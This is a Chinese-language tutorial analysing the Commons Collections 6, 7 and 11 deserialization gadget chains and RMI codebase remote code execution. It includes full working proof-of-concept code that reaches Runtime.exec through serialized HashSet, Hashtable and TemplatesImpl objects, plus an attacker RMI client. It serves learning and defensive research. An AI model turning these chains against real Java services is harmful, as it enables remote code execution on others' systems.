经过分析,我们发现HashMap.put()方法也会导致利用链触发(也正是它给我们在方法一的实现中带来了坑)

那么我们有没有什么办法直接让程序call到HashMap.put(),就让它成为利用链中一部分呢?

HashSet成为了我们的首选。

HashSet.readObject()

我们发现HashSet.readObject()中call 到了put()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();

// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();

/* 此处判断是否为LinkedHashSet类型,如果不是就创建HashMap */
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

// Read in size
int size = s.readInt();

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);//这里call到了put
}
}

如果我们能让map变量为我们的HashMap就能连上了。我们发现在该方法下会重建一个新的map,而这个map就是HashMap类型。 如果我们直接把这个内部的HashMap拿来用,把这个内部的HashMap的key值改为tiedMapEntry,当他被call put()的时候,利用链就能被成功执行了。

image-20211205094232431

我们跟到HashSet.readObject()看一下,看看这个e是怎么来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();

// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());

// Write out size
s.writeInt(map.size());

// Write out all elements in the proper order.
for (E e : map.keySet())//e是通过hashmap的keySet来的
s.writeObject(e);//e被序列化了
}

这就很明显了,它会把变量map里的key-value对给序列化,如果我们变量map已经有值,那么它的内容就会被序列化 -》从而在readObject()反序列化的时候这些内容又会被反序列化从而触发漏洞 -》 这里引出后面的用反射修改map

HashSet.add()

HashSet.add()会向map(hashmap)中添加一个key

1
2
3
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
POC构造

我们已经得知,HashSet中会生成一个HashMap,所以我们不再需要自己构造了HashMap了。我们的思路如下:先用hashSet生成一个带任意key值的hashMap,我们用反射的方式得到这个map,最后再用反射的方式从这个map中修改key

在HashMap中,键值对是被存储在table变量中的,这个看代码直接能看出来。

完整POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections6Method2 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

/*
* 客户端构造payload,并序列化文件
* */

//这是真的transformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("1","2");
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);//return a new lazyMap
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"leihehe");//让TiedMapEntry里的map为lazyMap,key随意

//创建HashSet的时候,其内部已经创建了一个hashmap,我们只需要把这个内部生成的hashmap的key值改为tiedMapEntry,当他被call put的时候,利用链就成功执行了。

HashSet hashSet = new HashSet();
hashSet.add("111");//先随意给内部的map添加一个key
Field map = hashSet.getClass().getDeclaredField("map");//得到这个map Field
map.setAccessible(true);
HashMap mapInHashSet = (HashMap) map.get(hashSet);//得到这个map的内容 -》也就是hashMap

Field table = mapInHashSet.getClass().getDeclaredField("table");//从这个hashmap中获取table field
table.setAccessible(true);
Object[] array = (Object[]) table.get(mapInHashSet);//这个table field里面包含了由各种键值对组成的数组
// 我们的目的是修改那个我们之前放进去的key值,让他等于tiedMapEntry

Object node = array[0];
for (Object i : array){//遍历这个键值对数组,如果不为空,就赋值给node,从而得到一对键值对
if(i!=null){
node=i;
break;
}
}
/* 修改其中的key值 */
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,tiedMapEntry);

//序列化
FileOutputStream fileOutputStream = new FileOutputStream("lz.cer");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashSet);//序列化
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();
/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("lz.cer");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();//只需要readObject()就会触发漏洞
}
}

总结

cc6中用fakeTransformer来绕过命令重复执行可以说是非常好的思路了,自己在审计的时候也可以学习这方面思路。

Reference

ysoserial CommonsCollections5/6 详细分析

Java安全-CommonsCollections6利用链分析

Commons Collections 7

环境搭建

  • commons-collections:3.1-3.2.1
  • jdk1.7

利用链构造

前言

LazyMap.get()之后得步骤和之前的cc链都差不多,这里就不再说了。

AbstractMap.equals()

我们在AbstractMap.equals()中发现了.get()方法

image-20211206194914358

如果我们能够控制变量m为lazyMap的话,就能连上利用链了。

那么什么调用了AbstractMap.equals()呢?

Hashtable.reconstitutionPut()

我们发现在Hashtable中,reconstitutionPut()方法调用了e.key.equals(),既然我们想要call到AbstractMap.equals(),那我们让传入的e.key变成AbstractMap是不是就可以了呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
//e=传入table里的第一个key-value对
if ((e.hash == hash) && e.key.equals(key)) {//此处调用了equals()
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
Entry<K,V> e = tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

我们发现HashMap继承了AbstractMap,如果我们的变量elazyMap,它的key值则为hashMap,从而我们会call到**hashMap的equals()**,就能触发漏洞了。

image-20211206200746114

Hashtable.readObject()

跟踪发现reconstitutionPut()刚好会被Hashtable.readObject()所调用。此处的newTable是新的,我们无法赋值,但是在reconstitutionPut()方法中,我们可以看到在for循环后面,有一句tab[index] = new Entry<>(hash, key, value, e);

这是将我们的key-value对存入这个tab中,而这个tab正好对应了readObjcet()里的newTable

image-20211206201003311


遇到的一些困惑:

起初我很疑惑newTabletab的关系,后来我明白了,newTable作为参数tab传入reconstitutionPut()后,在reconstitutionPut()中对tab的变化也是会影响到newTable的 - 也就是所谓的sideffect,下面我做了个实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class Person {
public static void main(String[] args) {
Teacher teacher = new Teacher(28);//创建一个28岁的老师
Student student = new Student(teacher);//把老师的instance传给学生
//学生会把传给它的老师改成53岁
System.out.println(teacher.getAge());//打印老师的年龄
//输出结果为53岁
}
}

public class Student {
public Student(Teacher teacher){
teacher.modifyAge(53);
}
}

public class Teacher {
private int age=0;

public Teacher(int age) {
this.age = age;
}
public void modifyAge(int age){
this.age = age;
}

public int getAge() {
return age;
}
}


再看Hashtable.writeObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
Entry<K, V> entryStack = null;

synchronized (this) {
// Write out the length, threshold, loadfactor
s.defaultWriteObject();

// Write out length, count of elements
s.writeInt(table.length);
s.writeInt(count);

// Stack copies of the entries in the table
for (int index = 0; index < table.length; index++) {
Entry<K,V> entry = table[index];

while (entry != null) {
entryStack =
new Entry<>(0, entry.key, entry.value, entryStack);
entry = entry.next;
}
}
}

// Write out the key/value objects from the stacked entries
while (entryStack != null) {
s.writeObject(entryStack.key);
s.writeObject(entryStack.value);
entryStack = entryStack.next;
}
}

这里将Hashtable里的key-value对给序列化了。

因此我们只需要构造key值为lazyMap就可以了。

我们初步的POC如下:

1
2
3
4
5
6
7
Map innerMap = new HashMap();
innerMap.put("1","2");
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);//return a new lazyMap

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap,1);

但是这个POC是有问题的。

两个LazyMap

Hashtable.reconstitutionPut()中,for循环里触发了我们的利用链。但如果我们tab里只有一个key-value对,那么就不会再触发了,因为第一次加入key-value对时tab里面没有值,是不会进入for循环的。

1
2
3
4
5
6
7
8
9
10
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
//如果tab里为空,不会进入for循环
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// 只会直接添加key-value到这个tab里
Entry<K,V> e = tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;

所以我们需要添加两个lazyMap,而第二个lazyMap才能让我们进入for循环

改进后POC如下

1
2
3
4
5
6
7
8
9
10
Map innerMap = new HashMap();
innerMap.put("1","2");
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);//return a new lazyMap
Map innerMap2 = new HashMap();
innerMap2.put("3","4");
Map lazyMap = LazyMap.decorate(innerMap2,chainedTransformer);//return a new lazyMap

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap,1);
hashtable.put(lazyMap,2);

可是这样的POC依然不对。

一样的hash

依然是for循环的毛病

1
2
3
4
5
6
7
8
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
//如果tab里为空,不会进入for循环
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}

假设我们现在已经put了第一个key-value对,现在tab的内容如下

  • <lazyMap,1>

当我们用第二个<lazyMap2,2>开始执行for loop的时候,会判断tab[index]是否为空,如果tab里面不存在,那么就不能进入for循环(太坑了)- 意味着我们第一次的**hash(key)和第二次的hash(key)**必须一样

经测试当lazyMap的key值为xx和zZ时,得到的hashCode是一样的,所以我们能够进入for循环

现在的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
Map innerMap = new HashMap();
innerMap.put("yy","2");
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);//return a new lazyMap

Map innerMap2 = new HashMap();
innerMap2.put("zZ","2");
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);//return a new lazyMap


Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap,1);
hashtable.put(lazyMap2,2);

Fake Transformer

和cc6差不多,我们在执行**hashtable.put()**时,同样会触发利用链

image-20211206205356150

那么我们只需要先传入一个fakeTransformer,最后再改回来就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/*
* 客户端构造payload,并序列化文件
* */

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});//这里我们传入假的transformer,实际为空

Map innerMap = new HashMap();
innerMap.put("yy","2");
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);//return a new lazyMap

Map innerMap2 = new HashMap();
innerMap2.put("zZ","2");
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);//return a new lazyMap


Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap,1);
hashtable.put(lazyMap2,2);

Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);

//序列化
FileOutputStream fileOutputStream = new FileOutputStream("lz.cer");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashtable);//序列化
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();
/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("lz.cer");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();//只需要readObject()就会触发漏洞

原本以为这样就结束了,结果计算器又不跳出来了。还记得cc6吗,我们出现的问题和这个一模一样

FakeTransformer引发的LazyMap问题

LazyMap.get()中,factory为我们传入的空的Transformer,key值为yy,同时key值被放入hashtable.

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);//这里key值为yy
super.map.put(key, value);//yy被放进hashtable
return value;
} else {
return super.map.get(key);
}
}

如下图:

image-20211206210624980

我们在AbstractMap.equals()方法中有一个if判断,此处的**size()**为1,m.size()为2 -》 因为yy被加进了hashtable,所以会直接返回false,从而不会触发利用链。

image-20211206210904041

因此我们需要把yylazyMap中移除。

1
lazyMap2.remove("yy");

POC构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections7 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, IOException {
//lazymap.get()->factory[constructor].transform()
/*
* 客户端构造payload,并序列化文件
* */

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});//这里我们传入假的transformer,实际为空

Map innerMap = new HashMap();
innerMap.put("yy","2");
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);//return a new lazyMap

Map innerMap2 = new HashMap();
innerMap2.put("zZ","2");
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);//return a new lazyMap


Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap,1);
hashtable.put(lazyMap2,2);

Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);
lazyMap2.remove("yy");

//序列化
FileOutputStream fileOutputStream = new FileOutputStream("lz.cer");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashtable);//序列化
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();
/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("lz.cer");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();//只需要readObject()就会触发漏洞


}
}

Reference

Commons-Collections 1-7 分析

Commons Collections 11

前言

学完cc1-7好久,研究shiro550的时候发现要用到cc11,因为一些原因cc6不能用。

因此在这里会对cc11进行详细讲解,同时也是对之前的cc链的复习。

cc11是cc1、cc2、cc5、cc6的结合,用到了InvokerTransformer、javassist字节码编写、TemplateImpl字节码执行、TiedMapEntry、HashMap等

环境搭建

这次我是直接使用maven创建的项目,就不用自己来导包了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>CommonsCollections11</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
</dependencies>

</project>

分析

恶意class字节码编写

每个ctClass代表我们要修改的class,因此我们在classPool中创建一个名叫Evil的CtClass

通过静态代码块,插入执行代码

1
2
3
4
5
6
7
ClassPool classPool = ClassPool.getDefault();
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);//
cc.setName("Leihehe");
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));//
byte[] evilbytes = cc.toBytecode();//恶意字节码

TemplatesImpl加载恶意class

在TemplateImpl中查找defineClass关键字,因为我们知道ClassLoader就是通过方法**defineClass()**来加载字节码的。

通过以下图可知,我们可以传入一个_tfactory的值(new一个它Class的新对象就可以)和_bytecodes(恶意字节码),然后再让获取到的loader来call它的defineClass(),从而将我们的字节码加载进jvm

image-20220102151143793

上面的流程是在defineTransletClasses()里的,接下来我们要找到什么地方调用了defineTransletClasses()

image-20220102151651096

发现**getTransletInstance()调用了defineTranslateClasses()**,同时如果我们要使用该方法,需要让_name不为空,_class为空

newTransformer()调用了getTransletInstance()

image-20220102152313976

image-20220102152422839

getOutputProperties()调用了newTransformer()

因此TemplateImpl执行顺序如下

getOutputProperties->newTransformer()->getTransletInstance()->defineTranslateClasses()->defineClass()

那么其实只要找到调用TemplatesImpl#getOutputProperties或者TemplatesImpl#newTransformer()的地方就可以连接上了。

我们先编写一些TemplatesImpl的部分

1
2
3
4
5
6
7
8
9
10
11
12
      /*配置TemplatesImpl - 加载恶意class到jvm*/
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{evilbytes});//这里传入的evilbytes需要在byte[][]中
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"LeiHello");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
//任意方法调用templates.newTransformer()或者templates.getOutputProperties即可触发

InvokerTransformer

已知TemplatesImpl#getOutputProperties或者TemplatesImpl#newTransformer()任意一个方法被调用都可以触发。这里我们以newTrasnformer()为例

看一下调用的情况:

image-20220102154928181

在之前的cc3中已经分析过了TrAXFilter()的调用,在cc11里我们不再使用该链。

还记得InvokerTransformer吗,它是在commons-collections 3.1版本中存在的最为经常被使用的一个类。我们可以使用该类call任意方法。

再来回顾一下InvokerTransformer#transform方法

image-20220102155548083

因此我们可以这样写

1
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);

在之前对cc链的分析中,后续的利用导致在生成payload阶段就触发了执行,因此我们在这里应该先随意写一个method作为占位,之后再进行修改

1
InvokerTransformer invokerTransformer = new InvokerTransformer("getClass",null,null);

接下来寻找调用invokerTransformer#transform的方法,同时能够传入input=templates(我们的恶意class)

LazyMap

这里不再像之前的cc链一样使用ChainedTransformer,相反我们使用LazyMap来继续完成这个链。LazyMap有一个get()方法:

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);//这里执行了transform方法
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

如果this.factory为invokerTransformer,则当LazyMap#get被调用的时候,命令可以执行。

所以需要构造LazyMap

image-20220102162535035

可以直接通过decorate方法来构造:

1
2
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, invokerTransformer);

TiedMapEntry

现在需要找到一个Class能够调用LazyMap#get()方法,我们找到了TiedMapEntry

在TiedMapEntry#get()处调用了getValue()方法

1
2
3
public Object getValue() {
return this.map.get(this.key);
}

同时hashCode方法调用了getValue()方法

1
2
3
4
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

这样写:

1
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates);

HashMap

为了调用TiedMapEntry#hashCode方法,可以利用HashMap的反序列化操作。

在HashMap中,它有自己的readObject()方法

image-20220102165724308

首先会反序列化HashMap中的key和value

在最后一行,调用了hash(key)

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

hash方法中调用了key.hashCode()

因此,如果我们将之前的tiedMapEntry放入hashMap的key中,就能触发整个利用链了。

1
2
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"helloWorld");

改写InvokerTransformer

记得前面我们只是添加了在InvokerTransformer中添加了占位符号,下面需要改一下:

1
2
3
4
lazyMap.clear();//需要把lazyMap中我们之前加入的没用的map给移除
Field iMethodName = invokerTransformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(invokerTransformer,"newTransformer");

POC构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public class cc11 {
public static void main(String[] args) throws NoSuchFieldException, CannotCompileException, NotFoundException, IOException, IllegalAccessException, ClassNotFoundException {
/*构造恶意字节码*/
ClassPool classPool = ClassPool.getDefault();
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);//
cc.setName("Leihehe");
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));//
byte[] evilbytes = cc.toBytecode();//恶意字节码

/*配置TemplatesImpl - 加载恶意class到jvm*/
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{evilbytes});//这里传入的evilbytes需要在byte[][]中
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"LeiHello");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
//任意方法调用templates.newTransformer()或者templates.getOutputProperties即可触发

/*构造invokerTransformer来调用newTransformer()方法*/
InvokerTransformer invokerTransformer = new InvokerTransformer("getClass",null,null);

Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, invokerTransformer);//需要把lazyMap中我们之前加入的没用的map给移除

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates);

/*利用HashMap反序列化中的hash(key)方法,触发利用链*/
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"helloWorld");

lazyMap.clear();
Field iMethodName = invokerTransformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(invokerTransformer,"newTransformer");

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
outputStream.writeObject(hashMap);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("1.ser"));
inputStream.readObject();
}
}

image-20220102172023830

另一版本的POC我也放在仓库**Java-deserialization-vulnerability**上了(流程是一样的,不过是提取了一些方法,看起来更简洁一些)

总结

终于学完了cc链,收获非常多,尤其是对java反射、代理和利用链的构造思路有了更深的理解。也非常感谢网上各位师傅无私的共享,才能让我看到这么精彩的分析。

RMI反序列化漏洞

RMI前置知识

Java反序列化漏洞之JAVA RMI原理、流程(2)

Codebase远程命令执行

前言

在有些环境条件下,我们需要远程加载一些本地不存在的类,而codebase便是用来告诉JAVA应该从哪里远程加载本地不存在的类。

codebase可以是http, ftp这样的url地址,例如当我们加载example类时,Java发现本地并不存在这样的类,它就会去codebase指向的地址搜索下载example类并加载。

如果codebase是可控的,那么我们就可以让服务器恶意加载我们的攻击类(这个类在服务器上并不存在)。

Java官方自然注意到了这一点,于是采用了一些安全措施,让我们不能随意远程加载类,如果我们一定要加载远程类,需要满足以下条件:

  • Server安装并配置了SecurityManager
  • Java版本低于7u21、6u45,或者设置了java.rmi.server.useCodebaseOnly=false
    • useCodebaseOnly参数在7u21、6u45版本之后默认设置为true,表示Java虚拟机将只信任预先配置好的codebase ,不再支持从RMI请求中获取

该漏洞利用条件苛刻,因此少有人对此进行深入研究,P神在JAVA安全漫谈中提到了该漏洞,我在复现的时候遇到了很多坑,网上的大部分资料细节都交代得不清不楚,很难弄懂,单单是这个漏洞就花了我很长时间去复现,此文将详细讲解原理,希望能够帮大家弄懂每一步。

漏洞复现

被攻击方

RemoteRMIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RemoteRMIServer {
private void start() throws Exception {
if (System.getSecurityManager() == null) {//设置SecurityManager
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}
Calc h = new Calc();
LocateRegistry.createRegistry(1099);//创建registry
Naming.rebind("refObj", h);//绑定service Calc
}
public static void main(String[] args) throws Exception {
new RemoteRMIServer().start();
}
}

ICalc.java

1
2
3
4
5
6
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {//功能接口
public Integer sum(List<Integer> params) throws RemoteException;
}

Calc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;
public class Calc extends UnicastRemoteObject implements ICalc {//实现功能
public Calc() throws RemoteException {}
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = 0;
for (Integer param : params) {
sum += param;
}
return sum;
}
}

攻击方

RMIClient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {

private static final long serialVersionUID = 1L;

/* static 方法里是我们的恶意执行代码 */
static {
try{
Runtime.getRuntime().exec("calc");
} catch (Exception e){
e.printStackTrace();
}
}
public class Payload extends ArrayList<Integer> {}
public void lookup() throws Exception {
if (System.getSecurityManager() == null) {//同样需要安装SecurityManager
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}
ICalc r = (ICalc)
Naming.lookup("rmi://127.0.0.1:1099/refObj");//查找Registry上的refObj service
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li));//这里调用了远程方法的sum(),并传入了li对象
}
public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}

为什么RMIClient这样写就能触发漏洞呢?

实际上,我们在Java反序列化漏洞之JAVA RMI原理、流程(2)就有提到过,远程方法的调用是在server进行的,而并非本地client端,同时,远程调用的方法参数是经过序列化的。

拿这个例子来说,我们首先用ICalc r = (ICalc) Naming.lookup("rmi://127.0.0.1:1099/refObj");找到了Registry上的refobj方法,又调用了其sum方法。关键点在于,我们在调用其sum方法的时候传入了我们在本地构造的 Payload 类型的对象 lili被序列化,随sum()传入server进行调用,接着server端会对它进行反序列化。在反序列化的过程中,RemoteRMIServer.java发现这个Payload类它并不认识,因为在server端并没有该类。于是它就去codebase指向的地址上找Payload类,找到后将该类的定义下载下来,然后才能反序列化li对象。

而我们的Payload类的static方法中有恶意代码(此处我们是将payload类和RMIClient写在一起了),所以当server加载后,会执行该恶意代码。

Policy配置

Server端和Client端都需要新建一个文件来控制RMI的访问权限,这里我们命名为client.policy

1
2
3
grant {
permission java.security.AllPermission;
};

环境模拟

我们在IDEA中选择build project,让它生成class文件。

image-20211212231734543

此时out目录下会生成我们所有的class文件

image-20211212234937446

